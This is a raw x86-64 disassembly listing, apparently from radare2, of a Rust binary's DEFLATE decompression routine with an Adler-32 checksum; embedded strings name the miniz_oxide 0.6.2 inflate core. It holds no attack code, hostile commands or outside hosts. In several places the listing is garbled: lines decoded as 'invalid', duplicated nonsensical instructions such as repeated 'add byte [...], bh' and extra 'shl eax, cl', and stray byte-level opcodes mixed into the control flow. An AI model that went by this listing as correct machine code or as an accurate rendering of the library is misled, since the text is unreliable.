mov r10, qword [rsp + 0x30]
mov r9d, dword [r12 + 0x28f4]
cmp edx, 4
jae 0x1a7f1b7c67c
test ecx, ecx
je 0x1a7f1b7c488
mov rsi, r10
mov rdi, r11
cmp ecx, 8
jae 0x1a7f1b7c4b6
cmp rdi, r8
je 0x1a7f1b7c478
movzx r10d, byte [rdi]
shl r10, cl
inc rdi
or r10, rsi
mov qword [rsp + 0x30], r10
add ecx, 8
mov dword [rsp + 0x38], ecx
xor eax, eax
mov r11, rdi
mov rsi, r10
jmp 0x1a7f1b7c47d
mov rdi, r8
mov eax, ebp
test al, 2
je 0x1a7f1b7c44b
mov qword [rsp + 0x50], r11
jmp 0x1a7f1b7c4f2
cmp r11, r8
je 0x1a7f1b7c4eb
lea rax, [r11 + 1]
mov qword [rsp + 0x50], rax
movzx ecx, byte [r11]
shl r9d, 8
or r9d, ecx
mov dword [r12 + 0x28f4], r9d
inc edx
mov dword [rsp + 0x40], edx
xor ecx, ecx
mov r11, rax
jmp 0x1a7f1b7c4e7
mov qword [rsp + 0x50], r11
mov r10, rsi
shr r10, 8
mov qword [rsp + 0x30], r10
add ecx, 0xfffffff8
mov dword [rsp + 0x38], ecx
shl r9d, 8
movzx eax, sil
or r9d, eax
mov dword [r12 + 0x28f4], r9d
inc edx
mov dword [rsp + 0x40], edx
xor eax, eax
jmp 0x1a7f1b7c4f2
xor ecx, ecx
mov r11, r8
mov eax, ebp
test al, al
je 0x1a7f1b7c438
movzx ecx, al
cmp ecx, 1
jne 0x1a7f1b7ce75
shr eax, 8
jmp 0x1a7f1b7b426
mov r8, 0xffffffffffffffff
mov ecx, eax
shl r8, cl
mov r10, rdx
shr r10, cl
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x30], r10
mov dword [rsp + 0x38], r11d
mov r9d, 3
mov qword [rsp + 0xb0], r9
mov qword [rsp + 0xb8], r9
mov qword [rsp + 0xc0], 0xb
mov eax, dword [rsp + 0x3c]
mov rcx, rax
and rcx, r9
cmp rcx, r9
je 0x1a7f1b7d3b9
mov rsi, qword [rsp + rcx*8 + 0xb0]
mov ecx, dword [rsp + 0x40]
cmp eax, 0x10
jne 0x1a7f1b7c743
lea rax, [rcx - 1]
cmp rax, 0x1c8
ja 0x1a7f1b7d3cf
mov dil, byte [r12 + rax + 0x2920]
jmp 0x1a7f1b7c745
mov r9, 0xffffffffffffffff
mov ecx, eax
shl r9, cl
not r9d
and r9d, edx
shr rdx, cl
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x38], r11d
add dword [rsp + 0x40], r9d
mov al, 0xf
jmp 0x1a7f1b7b426
mov r9, 0xffffffffffffffff
mov ecx, eax
shl r9, cl
not r9d
and r9d, edx
shr rdx, cl
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x38], r11d
add dword [rsp + 0x3c], r9d
mov al, 0x16
jmp 0x1a7f1b7b426
mov qword [rsp + 0x50], r9
mov rdx, rax
shr rdx, 8
mov qword [rsp + 0x30], rdx
add ecx, 0xfffffff8
mov dword [rsp + 0x38], ecx
movzx eax, al
mov dword [rsp + 0x3c], eax
mov al, 0x12
jmp 0x1a7f1b7b426
movzx ecx, word [r12 + 0x291c]
movzx edx, word [r12 + 0x291e]
not edx
mov dword [rsp + 0x40], ecx
mov al, 0x1e
cmp cx, dx
jne 0x1a7f1b7b426
mov al, 0x14
test cx, cx
je 0x1a7f1b7b426
test r10d, r10d
mov ecx, 6
mov eax, 0x11
cmove eax, ecx
jmp 0x1a7f1b7b426
mov qword [rsp + 0x50], r11
xor eax, eax
cmp rax, 0x120
je 0x1a7f1b7c683
mov byte [r12 + rax + 0x27c0], 0
inc rax
jmp 0x1a7f1b7c666
mov al, 0x18
jmp 0x1a7f1b7b426
and dword [rsp + 0x40], 0
mov al, 9
jmp 0x1a7f1b7b426
mov esi, dword [rsp + 0x38]
cmp rsi, 0xf
jae 0x1a7f1b7c868
cmp rdx, 1
ja 0x1a7f1b7cca9
mov r15, qword [rsp + 0x30]
mov eax, r15d
and eax, 0x3ff
movsx ecx, word [r12 + rax*2]
test ecx, ecx
js 0x1a7f1b7c6d0
cmp cx, 0x200
jb 0x1a7f1b7c709
shr ecx, 9
cmp esi, ecx
jb 0x1a7f1b7c709
jmp 0x1a7f1b7cd3b
cmp esi, 0xb
jb 0x1a7f1b7c709
mov eax, 0xb
lea edx, [rax - 1]
not ecx
bt r15, rdx
adc ecx, 0
cmp ecx, 0x23f
ja 0x1a7f1b7ce9c
movsx ecx, word [r12 + rcx*2 + 0x800]
test ecx, ecx
jns 0x1a7f1b7ccd6
inc eax
cmp esi, eax
jae 0x1a7f1b7c6da
cmp rbx, r14
je 0x1a7f1b7ceb6
movzx eax, byte [rbx]
mov ecx, esi
shl rax, cl
inc rbx
or r15, rax
mov qword [rsp + 0x30], r15
lea eax, [rsi + 8]
mov dword [rsp + 0x38], eax
cmp esi, 6
mov esi, eax
jbe 0x1a7f1b7c6ac
jmp 0x1a7f1b7cd3d
mov al, 0x22
jmp 0x1a7f1b7b426
xor edi, edi
not r8
and rdx, r8
add rsi, rdx
lea rdx, [rsi + rcx]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rax
mov r9d, 0x1c9
mov r8, qword [rsp + 0xf0]
call fcn.1a7f1b7b187
xor ecx, ecx
cmp rdx, rcx
je 0x1a7f1b7c781
mov byte [rax + rcx], dil
inc rcx
jmp 0x1a7f1b7c773
add dword [rsp + 0x40], esi
mov al, 0xa
jmp 0x1a7f1b7b426
lea rcx, [rsp + 0x50]
call fcn.1a7f1b7d6fb
movzx eax, ax
mov ecx, ebx
shl rax, cl
or rsi, rax
mov qword [rsp + 0x30], rsi
add ebx, 0x10
mov dword [rsp + 0x38], ebx
mov r10, qword [rsp + 0xd8]
mov eax, esi
and eax, 0x3ff
movsx r8d, word [r10 + rax*2]
test r8d, r8d
js 0x1a7f1b7c7d5
mov ecx, r8d
shr ecx, 9
and r8d, 0x1ff
jmp 0x1a7f1b7c7e8
mov rcx, r10
mov edx, r8d
mov r8, rsi
call fcn.1a7f1b7d779
mov r8d, eax
mov ecx, edx
mov al, 0x22
test ecx, ecx
je 0x1a7f1b7b426
shr rsi, cl
mov qword [rsp + 0x30], rsi
sub ebx, ecx
mov dword [rsp + 0x38], ebx
mov al, 0x21
cmp r8d, 0x1d
jg 0x1a7f1b7b426
movaps xmm0, xmmword [str._a_a_b_b_t_t_n_n_v_v_f_f_r_r_r_r]
movups xmmword [rsp + 0xc0], xmm0
movdqa xmm0, xmmword [0x1a7f1c35470]
movdqu xmmword [rsp + 0xb0], xmm0
and r8d, 0x1f
movzx eax, byte [rsp + r8 + 0xb0]
test eax, eax
mov dword [rsp + 0x44], eax
lea rax, [0x1a7f1c53ab8]
movzx eax, word [rax + r8*2]
mov dword [rsp + 0x3c], eax
mov ecx, 0x16
mov eax, 0x10
cmove eax, ecx
jmp 0x1a7f1b7b426
mov al, 0x1a
jmp 0x1a7f1b7b426
mov r15, qword [rsp + 0x30]
jmp 0x1a7f1b7cd44
mov qword [rsp + 0xe8], r13
mov r13, qword [rsp + 0x30]
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0xe0], r14
sub rdi, rsi
mov r14b, 1
mov al, 0xc
cmp rdi, 0x103
jb 0x1a7f1b7ccdd
mov rdx, qword [rsp + 0xe0]
sub rdx, rbx
cmp rdx, 0xe
mov r12, qword [rsp + 0x108]
mov edi, dword [rsp + 0x98]
jb 0x1a7f1b7ccec
cmp edi, 0x1d
ja 0x1a7f1b7c93a
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov r8d, 4
mov rcx, rbx
call fcn.1a7f1b7b1bf
cmp rdx, 4
jne 0x1a7f1b7c913
mov eax, dword [rax]
xor ecx, ecx
jmp 0x1a7f1b7c915
mov cl, 1
shl rax, 8
movzx ecx, cl
or rcx, rax
call fcn.1a7f1b7b1e4
mov eax, eax
mov ecx, edi
shl rax, cl
add rbx, 4
mov qword [rsp + 0x50], rbx
or r13, rax
add edi, 0x20
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, r12
mov r8, r13
call fcn.1a7f1b7d7bf
cmp dword [rsi], 0
je 0x1a7f1b7cccf
mov ecx, dword [rsp + 0x118]
shr r13, cl
mov r14d, dword [rsp + 0x114]
sub edi, ecx
bt r14d, 8
jb 0x1a7f1b7c9e6
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov rdx, r12
mov r8, r13
call fcn.1a7f1b7d7bf
cmp dword [rsi], 0
mov dword [rsp + 0x88], r14d
je 0x1a7f1b7cccf
mov esi, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xb8]
shr r13, cl
sub edi, ecx
lea rcx, [rsp + 0x68]
mov edx, r14d
call fcn.1a7f1b7d803
bt esi, 8
jb 0x1a7f1b7c9e9
mov dword [rsp + 0x98], edi
lea r12, [rsp + 0x68]
mov rcx, r12
mov edx, esi
call fcn.1a7f1b7d803
mov rdi, qword [r12 + 8]
mov rsi, qword [r12 + 0x10]
jmp 0x1a7f1b7c8b4
mov esi, r14d
mov eax, esi
and eax, 0x1ff
add byte [0x1a7f1b7caf5], bh
add byte [0x1a7f1b7caf5], bh
sete r14b
je 0x1a7f1b7cd9c
cmp eax, 0x11d
ja 0x1a7f1b7cdae
movaps xmm0, xmmword [0x1a7f1c35440]
movups xmmword [rsp + 0xc0], xmm0
movdqa xmm0, xmmword [0x1a7f1c35450]
movdqu xmmword [rsp + 0xb0], xmm0
dec esi
and esi, 0x1f
mov ecx, edi
mov dl, byte [rsp + rsi + 0xb0]
lea rax, [0x1a7f1c53a78]
movzx eax, word [rax + rsi*2]
mov dword [rsp + 0x88], eax
cmp edi, 0x1d
ja 0x1a7f1b7cac0
mov byte [rsp + 0x98], dl
mov rsi, qword [rsp + 0xe0]
sub rsi, rbx
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov r8d, 4
mov rcx, rbx
mov rdx, rsi
call fcn.1a7f1b7b1bf
cmp rdx, 4
jne 0x1a7f1b7ca85
mov eax, dword [rax]
xor ecx, ecx
jmp 0x1a7f1b7ca87
mov cl, 1
shl rax, 8
movzx ecx, cl
or rcx, rax
call fcn.1a7f1b7b1e4
add rbx, 4
cmp rsi, 4
cmovb rbx, qword [rsp + 0xe0]
mov eax, eax
mov ecx, edi
shl rax, cl
mov qword [rsp + 0x50], rbx
or r13, rax
add edi, 0x20
mov dl, byte [rsp + 0x98]
movzx ecx, dl
test cl, cl
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0x80], rcx
je 0x1a7f1b7caf9
mov rax, 0xffffffffffffffff
shl rax, cl
not eax
and eax, r13d
shr r13, cl
sub edi, ecx
add eax, dword [rsp + 0x88]
mov dword [rsp + 0x88], eax
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov r8, r13
call fcn.1a7f1b7d7bf
cmp dword [rsi], 0
je 0x1a7f1b7cccf
mov ecx, dword [rsp + 0x118]
shr r13, cl
mov eax, dword [rsp + 0x114]
and eax, 0x1ff
sub edi, ecx
cmp eax, 0x1d
ja 0x1a7f1b7cdbc
movaps xmm0, xmmword [str._a_a_b_b_t_t_n_n_v_v_f_f_r_r_r_r]
movups xmmword [rsp + 0xc0], xmm0
movdqa xmm0, xmmword [0x1a7f1c35470]
movdqu xmmword [rsp + 0xb0], xmm0
movzx edx, byte [rsp + rax + 0xb0]
lea rcx, [0x1a7f1c53ab8]
movzx eax, word [rcx + rax*2]
mov qword [rsp + 0x80], rdx
test edx, edx
je 0x1a7f1b7cc0b
mov dword [rsp + 0x94], eax
cmp edi, 0x1d
ja 0x1a7f1b7cbe8
mov rsi, qword [rsp + 0xe0]
sub rsi, rbx
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov r8d, 4
mov rcx, rbx
mov rdx, rsi
call fcn.1a7f1b7b1bf
cmp rdx, 4
jne 0x1a7f1b7cbb4
mov eax, dword [rax]
xor ecx, ecx
jmp 0x1a7f1b7cbb6
mov cl, 1
shl rax, 8
movzx ecx, cl
or rcx, rax
call fcn.1a7f1b7b1e4
add rbx, 4
cmp rsi, 4
cmovb rbx, qword [rsp + 0xe0]
mov eax, eax
mov ecx, edi
shl rax, cl
shl eax, cl
shl eax, cl
mov qword [rsp + 0x50], rbx
or r13, rax
add edi, 0x20
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x80]
shl rax, cl
not eax
and eax, r13d
shr r13, cl
sub edi, ecx
add eax, dword [rsp + 0x94]
mov rsi, qword [rsp + 0x78]
mov dword [rsp + 0x94], eax
mov r9d, eax
mov eax, dword [rsp + 0x1e8]
test byte [rax + rbp*8], ah
add dword [rax], eax
invalid
test al, 4
je 0x1a7f1b7cc2e
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rax + 0x4c097404], ch
cmp esi, ecx
cmp rsi, r9
jb 0x1a7f1b7cdc3
mov dword [rsp + 0x98], edi
mov rcx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r14d, dword [rsp + 0x88]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov rdx, rdi
mov r8, rsi
call fcn.1a7f1b7d83b
add rsi, r14
mov qword [rsp + 0x78], rsi
jmp 0x1a7f1b7c8b4
mov qword [rsp + 0x50], rax
jmp 0x1a7f1b7c7b5
cmp bh, bl
invalid
invalid
cmp bh, bl
invalid
mov dword [rsp + 0x40], esi
mov al, 0x15
jmp 0x1a7f1b7b426
mov r10, qword [rsp + 0xa8]
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rax
call fcn.1a7f1b7d83b
mov qword [rsp + 0x78], rsi
mov al, 0xc
jmp 0x1a7f1b7b426
lea rcx, [rsp + 0x50]
call fcn.1a7f1b7d6fb
movzx r15d, ax
mov ecx, esi
shl r15, cl
or r15, qword [rsp + 0x30]
mov qword [rsp + 0x30], r15
add esi, 0x10
mov dword [rsp + 0x38], esi
jmp 0x1a7f1b7cd44
mov al, 0x22
xor r14d, r14d
jmp 0x1a7f1b7ccec
imul bl
invalid
mov qword [rsp + 0x50], rbx
jmp 0x1a7f1b7cd44
mov r12, qword [rsp + 0x108]
mov edi, dword [rsp + 0x98]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x38], edi
and al, 0x38
and al, 0x38
mov ecx, dword [rsp + 0x94]
mov dword [rsp + 0x3c], ecx
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x44], edx
test r14b, r14b
mov r13, qword [rsp + 0xe8]
jne 0x1a7f1b7b426
jmp case.default.0x1a7f1b7b442
mov ecx, ebx
mov qword [rsp + 0x50], rax
mov ebx, ecx
jmp 0x1a7f1b7c7b5
mov eax, esi
mov qword [rsp + 0x50], rbx
mov esi, eax
mov eax, r15d
and eax, 0x3ff
movsx r8d, word [r12 + rax*2]
test r8d, r8d
js 0x1a7f1b7cd65
mov ecx, r8d
shr ecx, 9
and r8d, 0x1ff
jmp 0x1a7f1b7cd78
mov rcx, r12
mov edx, r8d
mov r8, r15
call fcn.1a7f1b7d779
mov r8d, eax
mov ecx, edx
mov al, 0x22
test ecx, ecx
je 0x1a7f1b7b426
shr r15, cl
mov qword [rsp + 0x30], r15
sub esi, ecx
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x40], r8d
mov al, 0xd
jmp 0x1a7f1b7b426
mov al, 0x14
mov dword [rsp + 0x88], 0x100
jmp 0x1a7f1b7ccec
mov dword [rsp + 0x88], eax
mov al, 0x20
jmp 0x1a7f1b7ccec
mov al, 0x21
jmp 0x1a7f1b7ccd1
mov al, 0x1d
jmp 0x1a7f1b7ccec
mov byte [r13 + 8], 0xfd
and qword [r13], 0
and qword [r13 + 0x10], 0
jmp 0x1a7f1b7d374
mov qword [rsp + 0x78], rsi
mov al, 0x13
mov r15b, 2
jmp case.default.0x1a7f1b7b442
add ch, cl
invalid
mov qword [rsp + 0x50], rdx
shr eax, 8
mov esi, eax
mov al, 2
jmp 0x1a7f1b7cec1
shr eax, 8
mov esi, eax
mov al, 3
jmp 0x1a7f1b7cec1
mov qword [rsp + 0x50], rdi
shr eax, 8
mov esi, eax
mov al, 9
jmp 0x1a7f1b7cec1
mov qword [rsp + 0x50], r9
shr r11d, 8
mov al, 0xb
jmp 0x1a7f1b7ce40
mov qword [rsp + 0x50], r8
shr r11d, 8
mov al, 0xe
jmp 0x1a7f1b7ce40
mov qword [rsp + 0x50], r8
shr r11d, 8
mov al, 0x10
mov esi, r11d
jmp 0x1a7f1b7cec1
mov qword [rsp + 0x50], r9
shr r10d, 8
mov al, 0x11
mov esi, r10d
jmp 0x1a7f1b7cec1
shr eax, 8
mov esi, eax
mov al, 0xa
jmp 0x1a7f1b7cec1
shr eax, 8
mov esi, eax
mov al, 5
jmp 0x1a7f1b7cec1
mov qword [rsp + 0x50], r11
shr eax, 8
mov esi, eax
mov al, 8
jmp 0x1a7f1b7cec1
shr eax, 8
mov esi, eax
mov al, 0x17
jmp 0x1a7f1b7cec1
mov qword [rsp + 0x50], rdx
mov al, 0xf
jmp 0x1a7f1b7cebd
mov al, 0x18
xor r15d, r15d
jmp case.default.0x1a7f1b7b442
mov al, 0x12
jmp 0x1a7f1b7cde5
mov al, 6
jmp 0x1a7f1b7cde5
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x240
call fcn.1a7f1c2fb60
ud2
mov al, 0xd
jmp 0x1a7f1b7cde5
mov qword [rsp + 0x50], r14
mov al, 0xc
mov esi, dword [rsp + 0x64]
cmp sil, 1
je 0x1a7f1b7cee0
movzx ecx, sil
cmp ecx, 0xfc
jne 0x1a7f1b7cf08
xor r8d, r8d
mov r10, qword [rsp + 0x100]
jmp 0x1a7f1b7cf43
mov rcx, qword [rsp + 0x70]
cmp rcx, qword [rsp + 0x78]
mov r10, qword [rsp + 0x100]
mov edx, dword [rsp + 0x1e8]
jne 0x1a7f1b7cf4c
cmp al, 0x17
sete cl
mov sil, 2
sub sil, cl
jmp 0x1a7f1b7cf4f
mov r15d, esi
mov ecx, dword [rsp + 0x58]
mov r10, qword [rsp + 0x100]
mov edx, r10d
sub edx, ecx
add edx, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x38]
mov r8d, ecx
shr r8d, 3
cmp r8d, edx
cmovae r8d, edx
lea edx, [r8*8]
sub ecx, edx
mov dword [rsp + 0x38], ecx
mov esi, r15d
mov edx, dword [rsp + 0x1e8]
jmp 0x1a7f1b7cf52
mov sil, 1
xor r8d, r8d
mov byte [r12 + 0x2ae9], al
mov ecx, dword [rsp + 0x38]
mov rax, 0xffffffffffffffff
shl rax, cl
not rax
and rax, qword [rsp + 0x30]
mov dword [r12 + 0x28e8], ecx
mov ecx, dword [rsp + 0x3c]
mov dword [r12 + 0x2904], ecx
mov ecx, dword [rsp + 0x40]
mov dword [r12 + 0x2908], ecx
mov ecx, dword [rsp + 0x44]
mov dword [r12 + 0x290c], ecx
mov qword [r12 + 0x28e0], rax
test dl, 0x40
jne 0x1a7f1b7d14b
mov eax, edx
and eax, 9
je 0x1a7f1b7d14b
mov rdx, qword [rsp + 0x78]
test sil, sil
js 0x1a7f1b7d150
mov qword [rsp + 0xf8], r8
mov dword [rsp + 0x64], esi
mov qword [rsp + 0xe8], r13
mov esi, dword [r12 + 0x2900]
mov r8, qword [rsp + 0x68]
mov r9, qword [rsp + 0x70]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x1e0]
mov qword [rsp + 0xf0], rdx
call fcn.1a7f1b7b187
mov r15, rax
mov r14, rdx
mov ebp, esi
shr ebp, 0x10
movzx r8d, si
pxor xmm0, xmm0
lea rdi, [rsp + 0x150]
movdqa xmmword [rdi], xmm0
movdqa xmm0, xmmword [rdi]
lea rsi, [rsp + 0x120]
movdqa xmmword [rsi], xmm0
mov qword [rsp + 0xd8], rdx
and r14, 0xfffffffffffffffc
mov ecx, 0x56c0
mov rax, r14
xor edx, edx
div rcx
mov qword [rsp + 0xa8], r14
mov rax, rdx
mov qword [rsp + 0x138], rdx
sub r14, rdx
mov dword [rsp + 0x140], r8d
imul eax, r8d, 0x56c0
mov dword [rsp + 0x130], eax
lea rbx, [rsp + 0x110]
mov qword [rsp + 0xa0], r15
mov r13, r14
sub r13, 0x56c0
jb 0x1a7f1b7d15d
mov r12, 0xffffffffffffa940
test r12, r12
je 0x1a7f1b7d113
movzx eax, byte [r15 + r12 + 0x56c0]
movzx ecx, byte [r15 + r12 + 0x56c1]
movzx edx, byte [r15 + r12 + 0x56c2]
movzx r8d, byte [r15 + r12 + 0x56c3]
movd xmm0, r8d
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [rsp + 0x110], xmm2
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b62e4b
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b62e4b
add r12, 4
jmp 0x1a7f1b7d0a8
add r15, 0x56c0
add ebp, dword [rsp + 0x130]
mov rcx, rdi
call fcn.1a7f1b62e61
mov rcx, rsi
call fcn.1a7f1b62e61
mov eax, ebp
xor edx, edx
mov ecx, 0xfff1
div ecx
mov ebp, edx
mov r12, qword [rsp + 0x108]
jmp 0x1a7f1b7d094
mov rdx, qword [rsp + 0x78]
mov r11, qword [rsp + 0x1e0]
jmp 0x1a7f1b7d358
lea rsi, [rsp + 0x150]
lea rdi, [rsp + 0xb0]
lea rbx, [rsp + 0x120]
mov r13, qword [rsp + 0xe8]
mov r15d, dword [rsp + 0x1e8]
cmp qword [rsp + 0xa8], r14
je 0x1a7f1b7d1f0
mov r8, qword [rsp + 0xa0]
movzx eax, byte [r8 + r14]
movzx ecx, byte [r8 + r14 + 1]
movzx edx, byte [r8 + r14 + 2]
movzx r8d, byte [r8 + r14 + 3]
movd xmm0, r8d
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [rsp + 0xb0], xmm2
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b62e4b
mov rcx, rbx
mov rdx, rsi
call fcn.1a7f1b62e4b
add r14, 4
jmp 0x1a7f1b7d185
lea rcx, [rsp + 0x150]
call fcn.1a7f1b62e61
lea rcx, [rsp + 0x120]
call fcn.1a7f1b62e61
xor eax, eax
mov r10, qword [rsp + 0x100]
mov r11, qword [rsp + 0x1e0]
mov esi, dword [rsp + 0x64]
mov rdi, qword [rsp + 0xa0]
mov r8d, dword [rsp + 0x140]
cmp rax, 4
je 0x1a7f1b7d243
shl dword [rsp + rax*4 + 0x120], 2
inc rax
jmp 0x1a7f1b7d230
mov eax, dword [rsp + 0x124]
mov ecx, dword [rsp + 0x128]
sub eax, dword [rsp + 0x154]
mov edx, 0xfff1
add eax, edx
mov dword [rsp + 0x124], eax
mov eax, dword [rsp + 0x158]
add eax, eax
neg eax
add eax, ecx
add eax, 0x1ffe2
mov dword [rsp + 0x128], eax
sub edx, dword [rsp + 0x15c]
lea eax, [rdx + rdx*2]
add dword [rsp + 0x12c], eax
xor eax, eax
mov ecx, r8d
cmp rax, 4
je 0x1a7f1b7d2a7
add ecx, dword [rsp + rax*4 + 0x150]
inc rax
jmp 0x1a7f1b7d295
imul r8d, dword [rsp + 0x138]
add ebp, r8d
xor r9d, r9d
mov r8d, 0xfff1
mov eax, ebp
xor edx, edx
div r8d
mov r8d, edx
cmp r9, 4
je 0x1a7f1b7d2d9
add r8d, dword [rsp + r9*4 + 0x120]
inc r9
jmp 0x1a7f1b7d2c6
add rdi, qword [rsp + 0xa8]
mov r9, qword [rsp + 0xd8]
and r9d, 3
xor eax, eax
cmp r9, rax
je 0x1a7f1b7d302
movzx edx, byte [rdi + rax]
add ecx, edx
add r8d, ecx
inc rax
jmp 0x1a7f1b7d2ef
mov r9d, 0xfff1
mov eax, ecx
xor edx, edx
div r9d
mov ecx, edx
mov eax, r8d
xor edx, edx
div r9d
shl edx, 0x10
or edx, ecx
mov dword [r12 + 0x2900], edx
test sil, sil
jne 0x1a7f1b7d348
test r15b, 1
sete al
cmp edx, dword [r12 + 0x28f4]
sete sil
or sil, al
add sil, sil
add sil, 0xfe
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0xf0]
add r8, qword [rsp + 0x58]
sub r10, r8
add r10, qword [rsp + 0x50]
sub rdx, r11
mov byte [r13 + 8], sil
mov qword [r13], r10
mov qword [r13 + 0x10], rdx
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x13
mov rcx, r9
jmp 0x1a7f1b7cea8
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x1c9
mov rcx, rbx
jmp 0x1a7f1b7cea8
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7d3c5
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov ecx, 3
mov edx, 3
jmp 0x1a7f1b7cea8
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x1c9
mov rcx, rax
jmp 0x1a7f1b7cea8
mov ecx, eax
cmp eax, 2
ja 0x1a7f1b7d6e4
imul rax, rcx, 0xda0
lea r15, [rdi + rax]
mov r14d, dword [rdi + rcx*4 + 0x2910]
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm6
movaps xmmword [rsp + 0x20], xmm6
and dword [rsp + 0x60], 0
xor ecx, ecx
cmp rcx, 0x400
je 0x1a7f1b7d47c
and word [r15 + rcx*2], 0
inc rcx
jmp 0x1a7f1b7d468
lea rcx, [rdi + rax]
add rcx, 0x800
xor edx, edx
cmp rdx, 0x240
je 0x1a7f1b7d49c
and word [rcx + rdx*2], 0
inc rdx
jmp 0x1a7f1b7d489
lea rcx, [rdi + rax]
add rcx, 0xc80
mov edx, 0x120
mov r8, r14
mov r9, rbx
call fcn.1a7f1b7b1bf
xor r8d, r8d
cmp rdx, r8
je 0x1a7f1b7d4d7
movzx ecx, byte [rax + r8]
cmp rcx, 0x10
jae 0x1a7f1b7d6a4
inc dword [rsp + rcx*4 + 0x70]
inc r8
jmp 0x1a7f1b7d4ba
xor eax, eax
mov edx, 2
xor ecx, ecx
cmp rdx, 0x11
je 0x1a7f1b7d4fc
mov r8d, dword [rsp + rdx*4 + 0x6c]
add eax, r8d
add eax, eax
add ecx, r8d
mov dword [rsp + rdx*4 + 0x20], eax
inc rdx
jmp 0x1a7f1b7d4e0
cmp eax, 0x10000
je 0x1a7f1b7d50c
cmp ecx, 1
ja 0x1a7f1b7d667
mov dx, 0xffff
xor r8d, r8d
cmp r8, r14
jae case.0x1a7f1b61633.361
mov rax, r8
cmp r8, 0x120
jae 0x1a7f1b7d6b2
lea r8, [rax + 1]
movzx r9d, byte [rax + r15 + 0xc80]
test r9w, r9w
je 0x1a7f1b7d513
movzx ecx, r9w
cmp r9b, 0x11
jae 0x1a7f1b7d6c3
mov r11d, dword [rsp + rcx*4 + 0x20]
lea r10d, [r11 + 1]
mov dword [rsp + rcx*4 + 0x20], r10d
xor r10d, r10d
mov ebp, r9d
sub bpl, 1
jb 0x1a7f1b7d577
mov r12d, r11d
and r12d, 1
lea r10d, [r12 + r10*2]
shr r11d, 1
jmp 0x1a7f1b7d561
cmp r9b, 0xb
jae 0x1a7f1b7d5aa
mov r9d, ecx
shl r9d, 9
or eax, r9d
mov r9d, 1
shl r9, cl
mov ecx, r10d
cmp rcx, 0x3ff
ja 0x1a7f1b7d513
mov word [r15 + rcx*2], ax
add rcx, r9
jmp 0x1a7f1b7d593
mov ecx, r10d
and ecx, 0x3ff
movzx r11d, word [r15 + rcx*2]
test r11w, r11w
je 0x1a7f1b7d5c5
mov ecx, edx
mov edx, r11d
jmp 0x1a7f1b7d5cd
mov word [r15 + rcx*2], dx
lea ecx, [rdx - 2]
shr r10d, 9
mov r11b, 0xb
mov ebp, edx
mov edx, ecx
mov ecx, r11d
cmp r11b, r9b
adc r11b, 0
not ebp
cmp cl, r9b
jae 0x1a7f1b7d625
bt r10d, 1
adc bp, 0
movsx rcx, bp
cmp cx, 0x240
